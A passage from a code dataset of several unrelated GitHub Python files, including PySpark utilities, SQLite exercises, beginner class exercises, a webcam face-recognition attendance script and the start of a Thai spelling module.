dataset.to_csv(dataset_name)\n break\n\n key_input = dc.capture_key()\n # If press S, data starts to be collected\n # If press E, data collecting stops\n # After pressing E, Select cv2 screen and press Q.\n # Program will save whole csv file and terminate.\n if key_input == 'S':\n start_flag = True\n elif key_input == 'E':\n start_flag = False\n\n if not start_flag:\n continue\n\n drive_view = ImgProc.grab_screen()\n mapview = drive_view[480:590, 5:160]\n direction = drive_view[570:580, 15:25]\n\n cv2.imshow(\"Drive_view\", drive_view)\n # cv2.imshow(\"Mapview\", mapview)\n # cv2.imshow(\"Direction\", direction)\n\n data_log = dc.save_data(drive_view, mapview, direction, key_input, index)\n # print(key_input)\n print(data_log)\n\n index += 1\n data_dict[index] = data_log\n","repo_name":"DveloperY0115/GrandTheftAutopilot","sub_path":"Autopilot/DataCollect.py","file_name":"DataCollect.py","file_ext":"py","file_size_in_byte":3499,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"29984191065","text":"import inspect\r\nfrom datetime import datetime\r\nimport logging\r\nimport os\r\nimport ast\r\nimport pandas as pd\r\nfrom collections import OrderedDict\r\nimport numpy as np\r\n\r\nfrom pyspark.sql import DataFrame\r\nfrom pyspark.sql.session import SparkSession\r\nimport pyspark.sql.functions as psf\r\nfrom pyspark.sql.window import Window\r\nfrom pyspark.sql.types import (StringType,\r\n StructType,\r\n StructField,\r\n DoubleType,\r\n LongType,\r\n IntegerType,\r\n BooleanType,\r\n ArrayType,\r\n DateType)\r\n\r\nspark = SparkSession.builder.enableHiveSupport().getOrCreate()\r\nspark.conf.set(\"spark.sql.legacy.allowCreatingManagedTableUsingNonemptyLocation\", \"true\")\r\n\r\n\r\ndef pipe(self, func, *args, **kwargs):\r\n return func(self, *args, **kwargs)\r\n\r\n\r\ndef value_counts(self, groupby_columns):\r\n return self.groupby(groupby_columns).count().orderBy(psf.col('count').desc())\r\n\r\n\r\nDataFrame.pipe = pipe\r\nDataFrame.value_counts = value_counts\r\n\r\n\r\ndef to_csv(self, output_path):\r\n \"\"\" Write dataframe to HDFS as a single csv output file.\r\n First file is stored on temporary directory, then single partition file name is found\r\n and finally moved to the target destination.\r\n\r\n Parameters\r\n -------\r\n self: pyspark.sql.dataframe.DataFrame\r\n output_path: str\r\n\r\n Returns\r\n -------\r\n None\r\n \"\"\"\r\n output_dir, file_name = '/'.join(output_path.split('/')[:-1]), output_path.split('/')[-1]\r\n temp_dir_path = output_dir + '/temp'\r\n (self.repartition(1)\r\n .write\r\n .mode(\"overwrite\")\r\n .options(header=True, delimiter=';', encoding='utf-8')\r\n .csv(temp_dir_path))\r\n\r\n sc = spark.sparkContext\r\n path = sc._gateway.jvm.org.apache.hadoop.fs.Path\r\n filesystem = sc._gateway.jvm.org.apache.hadoop.fs.FileSystem\r\n hdfs_file_system = filesystem.get(sc._jsc.hadoopConfiguration())\r\n\r\n part_file_format = 'csv'\r\n part_file_path = path(temp_dir_path + f'/part*.{part_file_format}')\r\n part_file_name = hdfs_file_system.globStatus(part_file_path)[0].getPath().getName()\r\n\r\n src = path(temp_dir_path + f'/{part_file_name}')\r\n dest = path('.'.join([output_path, part_file_format]))\r\n\r\n if hdfs_file_system.exists(dest):\r\n hdfs_file_system.delete(dest, True)\r\n\r\n hdfs_file_system.rename(src, dest)\r\n\r\n\r\nDataFrame.to_csv = to_csv\r\n\r\n\r\nclass WindowAggregator:\r\n \"\"\" Used to simplify window calculations and automate column naming.\r\n The reason why window aggregations are preferred to joins is because input table is accessed only once and\r\n partition calculations can be distributed across executors.\"\"\"\r\n\r\n def __init__(self, aggregation_name, aggregation_column, partition_by, order_by=None, window_length=None):\r\n \"\"\"\r\n\r\n Parameters\r\n ----------\r\n aggregation_name: str\r\n aggregation_column: str\r\n partition_by: list\r\n order_by: str\r\n optional, if not provided window is created only on partition columns\r\n window_length: int\r\n optional, if provided then rolling aggregation is calculated\r\n \"\"\"\r\n self.aggregation_name = aggregation_name\r\n self.partition_by = partition_by\r\n self.order_by = order_by\r\n self.aggregation_column = aggregation_column\r\n self.window_length = window_length\r\n\r\n @property\r\n def column_alias(self):\r\n \"\"\" Create column name in the following format:\r\n ____\r\n or\r\n ______days,\r\n if window length is specified\r\n\r\n Parameters\r\n ----------\r\n\r\n Returns\r\n -------\r\n str\r\n \"\"\"\r\n alias = self.partition_by + [self.aggregation_column, self.aggregation_name]\r\n alias = alias + [str(self.window_length) + 'days'] if self.window_length else alias\r\n return '__'.join(alias)\r\n\r\n @staticmethod\r\n def get_window(partition_by, order_by=None, window_length=None):\r\n \"\"\" Construct window object for aggregations and feature creation.\r\n If window length is passed, sort column is assumed to be date\r\n and is cast into seconds to allow specifying rangeBetween for rolling window.\r\n\r\n Parameters\r\n ----------\r\n partition_by: list\r\n order_by: str\r\n window_length: int\r\n Window length going back in days\r\n\r\n Returns\r\n -------\r\n pyspark.sql.window.WindowSpec\r\n \"\"\"\r\n window = Window.partitionBy(partition_by)\r\n\r\n if order_by is not None:\r\n order_by_col = psf.col(order_by)\r\n if window_length is not None:\r\n order_by_col = order_by_col.cast('timestamp').cast('long')\r\n days = lambda i: i * 86400\r\n window = window.orderBy(order_by_col).rangeBetween(-days(window_length), 0)\r\n else:\r\n window = window.orderBy(order_by_col)\r\n\r\n return window\r\n\r\n def transform(self, df):\r\n \"\"\" Applies aggregation specified in instance to dataframe.\r\n If aggregation is not a method of this class, then it is searched for in pyspark.sql.functions\r\n\r\n Parameters\r\n ----------\r\n df: pyspark.sql.dataframe.DataFrame\r\n\r\n Returns\r\n -------\r\n pyspark.sql.dataframe.DataFrame\r\n \"\"\"\r\n if hasattr(self, self.aggregation_name):\r\n aggregation = getattr(self, self.aggregation_name)\r\n return aggregation(df)\r\n else:\r\n aggregation = getattr(psf, self.aggregation_name)\r\n w = self.get_window(self.partition_by, self.order_by, self.window_length)\r\n return df.withColumn(self.column_alias, aggregation(self.aggregation_column).over(w))\r\n\r\n def nunique(self, df):\r\n \"\"\" Calculates number of unique values in a column over a window\"\"\"\r\n w = self.get_window(self.partition_by, self.order_by, self.window_length)\r\n return df.withColumn(self.column_alias, psf.size(psf.collect_set(self.aggregation_column).over(w)))\r\n\r\n def median(self, df):\r\n \"\"\" Calculates median using pyspark.sql inbuilt percentile_approx method\"\"\"\r\n w = self.get_window(self.partition_by, self.order_by, self.window_length)\r\n return df.withColumn(self.column_alias, psf.expr(f'percentile_approx({self.aggregation_column}, 0.5)').over(w))\r\n\r\n def days_between(self, df):\r\n \"\"\" Calculates days between subsequent instances, aggregation column should be date.\r\n Note usage of a second window to fill days between values for the same date.\"\"\"\r\n w = self.get_window(self.partition_by, self.order_by)\r\n w2 = self.get_window(partition_by=self.partition_by + [self.order_by],\r\n order_by=self.order_by)\r\n\r\n last_date = psf.lag(self.aggregation_column).over(w)\r\n last_not_equal_current = last_date != psf.col(self.aggregation_column)\r\n days_between = psf.datediff(self.aggregation_column, last_date)\r\n\r\n df = df.withColumn(self.column_alias, psf.when(last_not_equal_current, days_between))\r\n return df.withColumn(self.column_alias, psf.max(self.column_alias).over(w2))\r\n\r\n def percent_last_total(self, df):\r\n \"\"\" First calculates totals on, e.g. customer-month level,\r\n Then adds row number to identify when month changes.\r\n Lagged values from previous month are calculated and filled in from first row number to entire month.\r\n Finally, a ratio of current value relative to previous period total is found.\"\"\"\r\n partition_by = self.partition_by + [self.order_by]\r\n df = df.withColumn('dummy', psf.lit(1))\r\n w = self.get_window(partition_by=partition_by, order_by='dummy')\r\n w2 = self.get_window(partition_by=self.partition_by, order_by=self.order_by)\r\n\r\n period_total = psf.sum(self.aggregation_column).over(w)\r\n row_number = psf.row_number().over(w)\r\n last_period_total = psf.max(psf.when(row_number == 1, psf.lag(period_total).over(w2))).over(w)\r\n df = df.withColumn(self.column_alias, psf.col(self.aggregation_column) / last_period_total)\r\n return df.drop('dummy')\r\n\r\n def __repr__(self):\r\n return (f'Transform: {self.__class__.__name__}, \\n'\r\n f'Parameters: \\n'\r\n f' aggregation_column - {self.aggregation_column} \\n'\r\n f' aggregation_name - {self.aggregation_name} \\n'\r\n f' partition columns: {self.partition_by} \\n'\r\n f' sort column: {self.order_by} \\n'\r\n f' window_lengths - {self.window_length} \\n')\r\n\r\nimport ast\r\nimport pandas as pd\r\nimport os\r\nimport inspect\r\nfrom pyspark.sql.types import (StringType,\r\n StructType,\r\n StructField,\r\n DoubleType,\r\n LongType,\r\n IntegerType,\r\n BooleanType,\r\n ArrayType,\r\n DateType)\r\n\r\nfrom collections import OrderedDict\r\nimport numpy as np\r\n\r\n\r\nclass ReadCsvHelper:\r\n\r\n @classmethod\r\n def _get_csv_paths_related_to_function(cls, caller_name, caller_filename):\r\n \"\"\" Only supposed to be called by testing functions and helps to automatically paths to csv files.\r\n Assumes that testing functions has respective input/expected csv files in test_data/\r\n folder named _\"\"\"\r\n caller_module = caller_filename.split('/')[-1].split('.')[0]\r\n path_to_data = os.path.join(os.path.dirname(caller_filename), f'test_data/{caller_module}')\r\n return [os.path.join(path_to_data, filename) for filename in os.listdir(path_to_data)\r\n if caller_name in filename]\r\n\r\n @classmethod\r\n def get_input_dict_expected_df(cls, spark_session):\r\n caller_frame = inspect.currentframe().f_back.f_code\r\n caller_name, caller_filename = caller_frame.co_name, caller_frame.co_filename\r\n\r\n csv_path_URIs = cls._get_csv_paths_related_to_function(caller_name, caller_filename)\r\n dfs = cls.get_dfs_from_csv_path_URIs(spark_session, csv_path_URIs)\r\n\r\n extract_kwarg_name = lambda path: path.split('.')[0].split('/')[-1].replace(f'{caller_name}_', '')\r\n input_dict = {\r\n extract_kwarg_name(csv_path): df\r\n for csv_path, df in zip(csv_path_URIs, dfs)\r\n }\r\n expected_df = input_dict.pop('expected')\r\n\r\n return input_dict, expected_df\r\n\r\n @classmethod\r\n def get_dfs_from_csv_path_URIs(cls, spark_session, csv_path_URIs):\r\n return [cls.get_df_from_csv(spark_session, csv_path_URI) for csv_path_URI in csv_path_URIs]\r\n\r\n @classmethod\r\n def get_df_from_csv(cls, spark_session, csv_file_path):\r\n general_schema = cls._get_general_schema(csv_file_path)\r\n pandas_schema = cls._get_schema_for_dfp(general_schema)\r\n\r\n dfp = (pd.read_csv(csv_file_path,\r\n sep=',',\r\n keep_default_na=False,\r\n na_values=['-1.#IND', '1.#QNAN', '1.#IND',\r\n '-1.#QNAN', '#N/A', 'N/A', '#NA', 'NA', 'NaN', '-NaN', 'nan', '-nan'],\r\n dtype=pandas_schema,\r\n skipinitialspace=True,\r\n usecols=pandas_schema.keys(),\r\n skiprows=1)\r\n .replace({np.nan: None})\r\n .pipe(cls._evaluate_array_columns, general_schema=general_schema))\r\n\r\n spark_schema = cls._get_schema_for_df(general_schema)\r\n return spark_session.createDataFrame(dfp, schema=spark_schema)\r\n\r\n @classmethod\r\n def _get_general_schema(cls, csv_file_path):\r\n datatypes, columns = pd.read_csv(csv_file_path, nrows=2, header=None, skipinitialspace=True).values\r\n return OrderedDict((column, datatype) for column, datatype in zip(columns, datatypes) if column != 'comment')\r\n\r\n @classmethod\r\n def _get_schema_for_dfp(cls, general_schema):\r\n return OrderedDict((column, cls._str_to_pandas_datatype(datatype))\r\n for column, datatype in general_schema.items())\r\n\r\n @classmethod\r\n def _evaluate_array_columns(cls, dfp, general_schema):\r\n def _literal_eval(x):\r\n try:\r\n return ast.literal_eval(x)\r\n except ValueError:\r\n return None\r\n\r\n array_columns = [column for column, datatype in general_schema.items() if datatype == 'arr']\r\n for array_column in array_columns:\r\n dfp[array_column] = dfp[array_column].apply(_literal_eval)\r\n return dfp\r\n\r\n @classmethod\r\n def _get_schema_for_df(cls, general_schema):\r\n return StructType([StructField(column, cls._str_to_pyspark_datatype(datatype), True)\r\n for column, datatype in general_schema.items()])\r\n\r\n @staticmethod\r\n def _str_to_pandas_datatype(datatype):\r\n mapper = {\r\n 'str': str,\r\n 'int32': int,\r\n 'int64': int,\r\n 'float': float,\r\n 'boolean': bool,\r\n 'arr': object\r\n }\r\n return mapper[datatype]\r\n\r\n @staticmethod\r\n def _str_to_pyspark_datatype(datatype):\r\n mapper = {\r\n 'str': StringType(),\r\n 'int64': LongType(),\r\n 'int32': IntegerType(),\r\n 'float': DoubleType(),\r\n 'boolean': BooleanType(),\r\n 'arr': ArrayType(elementType=StringType())\r\n }\r\n return mapper[datatype]\r\n","repo_name":"marloz/spark_tools","sub_path":"spark_utils.py","file_name":"spark_utils.py","file_ext":"py","file_size_in_byte":13912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18553210912","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 12 22:14:50 2018\n\n@author: Jimit\n\"\"\"\n\n# Counting Email in a Database\n\nimport sqlite3\n\nconn = sqlite3.connect('emaildb.sqlite')\ncur = conn.cursor()\n\ncur.execute('DROP TABLE IF EXISTS Counts')\n\ncur.execute('''\n CREATE TABLE Counts(email TEXT, count INTEGER)''')\n\nfname = input('Enter file name: ')\nif(len(fname) < 1): fname = 'mbox-short.txt'\n\nfh = open(fname)\n\nfor line in fh:\n if not line.startswith('From: '): continue\n pieces = line.split()\n email = pieces[1]\n cur.execute('SELECT count FROM Counts WHERE email = ?', (email,))\n # (email,) is a one-element tuple\n # (email) won't turn 'email' into a tuple\n # so we need to add a comma after 'email'\n \n \n row = cur.fetchone()\n \n if row is None:\n cur.execute('''INSERT INTO Counts(email, count)\n VALUES (?, 1)''', (email,))\n else:\n cur.execute('UPDATE Counts SET count = count + 1 WHERE email = ?', (email,))\n \nconn.commit()\n \nsqlstr = 'SELECT email, count FROM Counts ORDER BY count DESC LIMIT 10'\n\nfor row in cur.execute(sqlstr):\n print(str(row[0]), row[1])\n\ncur.close()","repo_name":"jimit105/Python-for-Everybody-Specialization","sub_path":"Using Databases with Python/Week 2- Basic Structured Query Language/emaildb.py","file_name":"emaildb.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"23249926707","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Nov 21 20:35:13 2021\n\n@author: 97250\n\"\"\"\n\n# Exercise 1: Cats\n\nprint(\"************************************************************************\")\n\nclass Cat:\n def __init__(self, name, age):\n self.name = name\n self.age = age\n\ncat1 = Cat(\"QW\", 1)\ncat2 = Cat(\"AS\", 2)\ncat3 = Cat(\"ZX\", 3)\n\ncats_array = [cat1, cat2, cat3]\n\ndef the_oldest_cat(*args):\n \n temp = list(args).copy()\n temp_age = [c.age for c in temp]\n \n cats_with_age = list(zip(temp, temp_age))\n \n return [el[0] for el in cats_with_age if el[1] == max(temp_age)][0]\n \n\nresult = the_oldest_cat(*cats_array)\n\nprint(f\"the oldest cat is: {result.name} and she/he is {result.age} years old.\")\n\n# Exercise 2 : Dogs\n\nprint(\"************************************************************************\")\n\nclass Dog:\n def __init__(self, name, height):\n self.name = name\n self.height = height\n\n def bark(self):\n print(f\"{self.name} goes woof!\")\n \n def jump(self):\n print(f\"{self.name} jumps {2*(self.height)} cm high\")\n\n\ndavids_dog = Dog(\"Rex\", 50)\n\nprint(f\"David's dog name is: {davids_dog.name}, and its {davids_dog.height} cm high\")\n\ndavids_dog.bark()\ndavids_dog.jump()\n\nsarahs_dog = Dog(\"Teacup\", 20)\n\nprint(f\"Sarah's dog name is: {sarahs_dog.name}, and its {sarahs_dog.height} cm high\")\n\nsarahs_dog.bark()\nsarahs_dog.jump()\n\nheightest_dog = davids_dog if davids_dog.height > sarahs_dog.height else sarahs_dog\n\nprint(f\"the heightest dog name is: {heightest_dog.name}\")\n\n\n# Exercise 3 : Who’s The Song Producer?\n\nprint(\"************************************************************************\")\n\nclass Song:\n def __init__(self, *lyrics):\n self.lyrics = lyrics\n\n def sing_me_a_song(self):\n # map(print, self.lyrics) -- doesnt really work ... \n \n for el in self.lyrics:\n print(el)\n \n return True\n\ntxt = [\"There’s a lady who's sure\", \"all that glitters is gold\", \"and she’s buying a stairway to heaven\" ]\n\nstairway = Song(*txt)\nstairway.sing_me_a_song()\n\n# Exercise 4 : Afternoon At The Zoo\n\nprint(\"************************************************************************\")\n\nclass Zoo:\n def __init__(self, zoo_name):\n self.name = zoo_name\n self.animals = []\n \n def add_animal(self, new_animal):\n if new_animal in self.animals:\n return False\n else:\n self.animals.append(new_animal)\n return True\n\n def get_animals(self):\n if not self.animals:\n print(\"the list is empty\")\n return False\n else:\n for el in self.animals:\n print(el)\n return True\n \n \n def sell_animal(self, animal_sold):\n if animal_sold in self.animals:\n self.animals.remove(animal_sold)\n return True\n else:\n print(f\"we don't have such animal ({animal_sold}) at the moment.\")\n return False\n \n def sort_animals(self):\n \n if not self.animals:\n print(\"the list is empty\")\n return False\n \n self.animals.sort()\n \n temp = [s[0] for s in self.animals]\n convolution_set = set(temp)\n convolution_set_counter = []\n \n i = 0\n \n for ch in convolution_set:\n # convolution_set_counter[i] = temp.count(ch)\n i += 1\n \n convolution_dict = dict(zip(list(convolution_set), list(convolution_set_counter)))\n \n sort_dict = {}\n sort_dict_len = 0\n sort_dict_counter = 0\n \n \"\"\"\n \n for s in self.animals:\n for k, v in convolution_dict.items():\n sort_dict_counter += 1\n if s[0] == k:\n for j in range(sort_dict_len, sort_dict_len + v):\n sort_dict[sort_dict_counter].append()\n \n \"\"\"\n \n return sort_dict\n \n def get_groups(self):\n \n d1 = self.sort_animals()\n \n for k, v in d1.items():\n print(k, v)\n \n return True\n\nramat_gan_safari = Zoo(\"Ramat Gan Safari\")\n\nramat_gan_safari.add_animal(\"Giraffe\")\nramat_gan_safari.add_animal(\"Anglerfish\")\nramat_gan_safari.add_animal(\"Bernedoodle\")\nramat_gan_safari.add_animal(\"Booby\")\nramat_gan_safari.add_animal(\"Jackabee\")\nramat_gan_safari.add_animal(\"Jerboa\")\nramat_gan_safari.add_animal(\"Kangal\")\nramat_gan_safari.add_animal(\"Siberpoo\")\nramat_gan_safari.add_animal(\"Armadillo\")\nramat_gan_safari.add_animal(\"Siamese\")\nramat_gan_safari.add_animal(\"Zuchon\")\nramat_gan_safari.add_animal(\"Dunker\")\nramat_gan_safari.add_animal(\"Dragonfly\")\nramat_gan_safari.add_animal(\"Lizard\")\nramat_gan_safari.add_animal(\"Lemur\")\n\nramat_gan_safari.get_animals()\n\nprint(\"++++++++++++++++++ let's sort animals now ++++++++++++++++++++++++++++++++\")\nramat_gan_safari.sort_animals()\nramat_gan_safari.get_animals()\n\nprint(\"++++++++++++++++++ let's get groups now ++++++++++++++++++++++++++++++++\")\nramat_gan_safari.sort_animals()\nramat_gan_safari.get_groups()\n\nprint(\"************************************************************************\")","repo_name":"doron-gurovich/DI_Bootcamp","sub_path":"Week8/Day2/Exercises XP.py","file_name":"Exercises XP.py","file_ext":"py","file_size_in_byte":5206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8725944285","text":"import os\nimport sqlite3\nfrom sqlite3 import Error\n\nfrom server.db.scripts import *\n\n\nclass DB_Manager:\n __ROOT_DIR = os.path.dirname(os.path.abspath(__file__))\n __FILENAME = __ROOT_DIR + '/test_data/{}.txt'\n __DB_PATH = __ROOT_DIR + '/feedback.db'\n __instance = None\n\n def __init__(self):\n if DB_Manager.__instance is None:\n if not os.path.isfile(self.__DB_PATH):\n self.__create_db()\n self.__fill_db()\n\n @classmethod\n def get_instance(cls):\n if cls.__instance is None:\n cls.__instance = DB_Manager()\n return cls.__instance\n\n def get_connection(self):\n return sqlite3.connect(self.__DB_PATH)\n\n def __create_db(self):\n connection = None\n try:\n connection = self.get_connection()\n cursor = connection.cursor()\n scripts = [CREATE_REGIONS_TABLE, CREATE_CITIES_TABLE, CREATE_USERS_TABLE, CREATE_COMMENTS_TABLE]\n for script in scripts:\n cursor.executescript(script)\n connection.commit()\n except Error as error:\n print(error)\n finally:\n if connection:\n connection.close()\n\n def __fill_db(self):\n try:\n for table_name, columns in TABLES.items():\n self.__fill_table(table_name, columns)\n except Error as error:\n print(error)\n\n def __fill_table(self, table_name, columns):\n connection = None\n try:\n connection = sqlite3.connect(self.__DB_PATH)\n cursor = connection.cursor()\n filename = self.__FILENAME.format(table_name)\n with open(filename, 'r') as file:\n for line in file:\n values = line[:-1].split('\\t')\n template = make_template(len(columns))\n params_sql = reformat_array_into_enumeration(columns)\n # In this case, we can use formatting because we did not enter data from clients\n # Malicious code cannot be entered\n sql = \"INSERT INTO {table_name}({params_sql}) VALUES ({template})\".format(\n table_name=table_name, params_sql=params_sql, template=template)\n cursor.execute(sql, values)\n connection.commit()\n except Error as error:\n print(error, table_name)\n finally:\n if connection:\n connection.close()\n\n\nif __name__ == '__main__':\n instance = DB_Manager.get_instance()\n","repo_name":"ihardlight/feedback-form","sub_path":"server/db/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":2558,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"32277779297","text":"\n# In[ ]:\n\n\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D, ZeroPadding2D, Activation, Input, concatenate\nfrom keras.models import Model\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.layers.pooling import MaxPooling2D, AveragePooling2D\nfrom keras.layers.merge import Concatenate\nfrom keras.layers.core import Lambda, Flatten, Dense\nfrom keras.engine.topology import Layer\nfrom keras import backend as K\nimport cv2\nimport os\nimport numpy as np\nfrom numpy import genfromtxt\nimport pandas as pd\nimport tensorflow as tf\nfrom utils import LRN2D\nimport utils\nimport glob\nimport re\nimport time\nfrom loader import *\nfrom collections import defaultdict\n\n# In[ ]:\n\n\ndef image_to_embedding(image, model):\n image = cv2.resize(image, (96, 96))\n img = image[...,::-1]\n img = np.around(np.transpose(img, (0,1,2))/255.0, decimals=12)\n x_train = np.array([img])\n with graph.as_default():\n embedding = model.predict_on_batch(x_train)\n return embedding\n\n\n# In[ ]:\n\n\ndef recognize_face(face_image, input_embeddings, model):\n\n embedding = image_to_embedding(face_image, model)\n \n minimum_distance = 200\n name = None\n \n # Loop over names and encodings.\n for (input_name, input_embedding) in input_embeddings.items():\n for vector in input_embedding:\n euclidean_distance = np.linalg.norm(embedding-vector)\n if euclidean_distance < minimum_distance:\n minimum_distance = euclidean_distance\n name = input_name\n \n if minimum_distance < 0.50:\n return str(name)\n else:\n return None\n\n\n# In[ ]:\n\n\ndef create_input_image_embeddings():\n input_embeddings = defaultdict(list)\n\n for dataset in glob.glob(\"images/*\"):\n for file in glob.glob(dataset+\"/*\"):\n person_name = dataset[7:]\n person_name = ''.join(re.findall(r'[a-zA-Z]*',person_name))\n image_file = cv2.imread(file, 1)\n input_embeddings[person_name].append(image_to_embedding(image_file, model)) \n return input_embeddings\n\ndef recognize_faces_in_cam(input_embeddings):\n name = ''\n cv2.namedWindow(\"Face Recognizer\")\n vc = cv2.VideoCapture(0)\n\n\n font = cv2.FONT_ITALIC\n face_cascade = cv2.CascadeClassifier('haarcascade_frontalface_default.xml')\n\n\n while vc.isOpened():\n username = ''\n _, frame = vc.read()\n img = frame\n height, width, channels = frame.shape\n\n\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n faces = face_cascade.detectMultiScale(gray, 1.3, 5)\n identities = []\n for (x, y, w, h) in faces:\n x1 = x\n y1 = y\n x2 = x+w\n y2 = y+h\n\n\n\n face_image = frame[max(0, y1):min(height, y2), max(0, x1):min(width, x2)]\n identity = recognize_face(face_image, input_embeddings, model)\n\n\n\n if identity is not None:\n img = cv2.rectangle(frame,(x1, y1),(x2, y2),(255,255,255),2)\n cv2.putText(img, str(identity), (x1+5,y1-5), font, 1, (255,255,255), 2)\n return ''.join(re.findall(r'[a-zA-Z]*',str(identity)))\n key = cv2.waitKey(200)\n cv2.imshow(\"Face Recognizer\", img)\n if key == 27:\n break\n vc.release()\n cv2.destroyAllWindows()\n\n\n# In[ ]:\ndef final():\n input_embeddings = create_input_image_embeddings()\n name = recognize_faces_in_cam(input_embeddings)\n return name\n","repo_name":"harshit5200/IntelligentAttendanceSystem","sub_path":"attendance.py","file_name":"attendance.py","file_ext":"py","file_size_in_byte":3466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7406994101","text":"\"\"\"Thai spelling\"\"\"\n\nfrom typing import Any, List, Dict\n\nfrom .thai_script import (CLUSTERS, CONSONANTS, VOWELS, TONES,\n TONE_MARKERS, DIACRITICS)\n\n_DEFAULT_PREF = {\n 'clear_vowel': True,\n 'clear_vowel_onset': 'not_true_cluster',\n 'clear_vowel_tone_mark': False,\n 'obvious_low_singles': True,\n 'obvious_h_low_single': True,\n 'onset_style': 'plain',\n 'onset_style_apply': 'not_h',\n 'silent_before_style': 'kaaran',\n 'coda_style': 'plain',\n 'silent_after_style': 'kaaran',\n 'vowel_no_coda': 'pair',\n 'vowel_coda_form': {},\n 'vowel_length': 'input',\n 'vowel_pair_form': {}\n}\n\nclass SpellWord:\n def __init__(self, **pref: Any) -> None:\n \"\"\"Init SpellWord with setting.\n\n None of the keyword arguments here are required.\n\n Find all available Thai consonants, vowels, and true clusters\n from find_letter_list()\n\n Keyword Args:\n clear_vowel (bool): Turn on/off option to put the first\n consonant in front of vowel to make the pronunciation\n less ambiguous.\n Option: False/off (ex. เชว), True/on (ex. ชเว).\n Default: True\n clear_vowel_onset (str): If clear_vowel is turned on,\n select onset cluster type that clear_vowel will be\n used with.\n Option: 'not_true_cluster' (true cluster คำควบกล้ำแท้\n won't be separated ex. เกวน ชเวน), 'all' (ex. กเวน ชเวน)\n Default: 'not_true_cluster'\n clear_vowel_tone_mark (bool): If clear_vowel is turned on,\n select if clean_vowel will be used with the word with\n tone marker or not.\n Option: False/not use (ex. คเว เคว่), True/use\n (ex. คเว คเว่).\n Default: False\n obvious_low_singles (bool): Turn on/off option to make\n single low-single low onset cluster less ambiguous.\n Option: False/off (ex. หนวี่), True/on (ex. นหวี่).\n Default: True\n obvious_h_low_single (bool): Turn on/off option to make\n ฮ-single low onset cluster less ambiguous.\n Option: False/off (ex. หว่า), True/on (ex. ฮหว่า).\n Default: True\n onset_style (str): Select onset style.\n Option: 'plain' (no diacritic), 'phinthu' (ใส่พินทุ),\n 'yaamakkaan' (ใส่ยามักการ), 'kaaran' (ใส่การันต์)\n Default: 'plain'\n onset_style_apply (str): Select character that onset style\n will be applied.\n Option: 'not_h' (ห นำ won't have diacritic), 'h' (ห นำ\n will have diacritic)\n Default: 'not_h'\n silent_before_style (str): Select style of the silent\n consonant that comes before the coda.\n Option: 'plain', 'phinthu', 'yaamakkaan', 'kaaran',\n 'hide'\n Default: 'kaaran'\n coda_style (str): Select coda style.\n Option: 'plain', 'phinthu', 'yaamakkaan', 'kaaran'\n Default: 'plain'\n silent_after_style (str): Select style of the silent\n consonant that comes after the coda.\n Option: 'plain', 'phinthu', 'yaamakkaan', 'kaaran',\n 'hide'\n Default: 'kaaran'\n vowel_no_coda (str): Select what we should do when vowels\n (เออะ, เอียะ, เอือะ, อัวะ) without its own coda form\n have coda.\n Option: 'pair' (use its pair form ex. เอียะ + น\n => เอียน), 'silent_after' (push the coda to\n silent_after ex. เอียะ + น => เอียะน์)\n Default: 'pair'\n vowel_coda_form (dict[str, str]): Select specific\n vowel form to use when coda is present. Put vowel in\n dict key and put vowel form in its value.\n In vowel form, - is the consonant position and + is\n the tone marker position.\n Example: vowel_coda_form={'เออ': 'เ-+อ'} (the result\n will be, for example, เดอน instead of the default เดิน)\n vowel_length (str): Select vowel length.\n Option: 'input' (same as input), 'short' (if long vowel\n is in the input, the result will be with\n a short vowel), 'long' (vice versa)\n Default: 'input'\n vowel_pair_form (dict[str, str]): Select specific\n vowel pair form to use when the length is specified.\n Example: vowel_length='short',\n vowel_pair_form={'อาย': 'อัย'}\n (อาย will be shorten to อัย instead of the default ไอ)\n \"\"\"\n self.option = {**_DEFAULT_PREF, **pref}\n\n def spell_out(\n self,\n onset: str,\n vowel: str,\n silent_before: str = '',\n coda: str = '',\n silent_after: str = '',\n tone: int = -1) -> str:\n \"\"\"Return the word from the information provided.\n\n Examples:\n\n spell = Kham(onset='ข', vowel='เอีย', coda='น')\n\n result = spell.form\n\n result should be 'เขียน'\n\n spell = Kham('สม', 'อุ', '', 'ท', 'ร', -1,\n silent_after_style='plain')\n\n result = spell.form\n\n result should be 'สมุทร'\n\n Args:\n onset: Initial consonant(s), can be one or more.\n (พยัญชนะต้น)\n vowel: Vowel (สระ). Write the vowel with อ as\n a placeholder. If vowel has ตัวสะกด ย, ว or j, w coda,\n put them here together with vowel. Ex. อา, ไอ, อาว, อัย\n silent_before: Silent consonant(s) before coda.\n Defaults to ''.\n coda: Final consonant, excluding j, w (ตัวสะกด\n ไม่รวม ย, ว). Defaults to ''.\n silent_after: Silent consonant(s) after coda.\n Defaults to ''.\n tone: Tone (เสียงวรรณยุกต์). -1 not specified,\n 0 mid สามัญ, 1 low เอก, 2 falling โท, 3 high ตรี,\n 4 rising จัตวา. Defaults to -1.\n \"\"\"\n self.onset = {'used': onset, 'input': onset, 'used_index': -1}\n self.vowel = {'used': vowel}\n self.silent_before = silent_before\n self.coda = coda\n self.silent_after = silent_after\n self.tone = tone\n\n self._find_data()\n self._delete_taikhuu()\n combined = self._combine()\n combined = combined.replace('+', self.tone_mark)\n combined_coda = self._combine_coda()\n\n result = ''.join([combined, combined_coda])\n return result\n\n def _find_data(self) -> None:\n \"\"\"Check and collect data for the word\"\"\"\n self._check_vowel_coda()\n self._check_multiple_coda()\n self._select_onset()\n self._check_low_singles()\n self._check_h_low_single()\n self._find_vowel()\n self._find_tone()\n\n def _check_vowel_coda(self) -> None:\n 